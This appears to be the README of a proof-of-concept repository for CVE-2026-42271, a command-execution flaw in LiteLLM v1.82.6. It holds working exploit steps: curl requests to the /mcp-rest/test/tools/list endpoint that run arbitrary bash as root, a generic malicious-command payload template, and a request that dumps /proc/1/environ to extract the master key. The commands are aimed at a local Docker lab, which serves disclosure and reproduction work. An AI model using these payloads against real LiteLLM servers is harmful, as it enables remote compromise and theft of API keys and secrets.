# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d

# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"

# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "id > /tmp/pwned"]
  }'

# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...

{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "<malicious command>"],
  "env": {
    "PATH": "/usr/bin:/bin"
  }
}

CVE-2026-42271/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Payload generation module
├── docs/
│   └── advisory.md            # Advisory reference
└── screenshots/               # Proof screenshots

# 提取环境变量（通过 /proc/1/environ）
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
  }'

# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key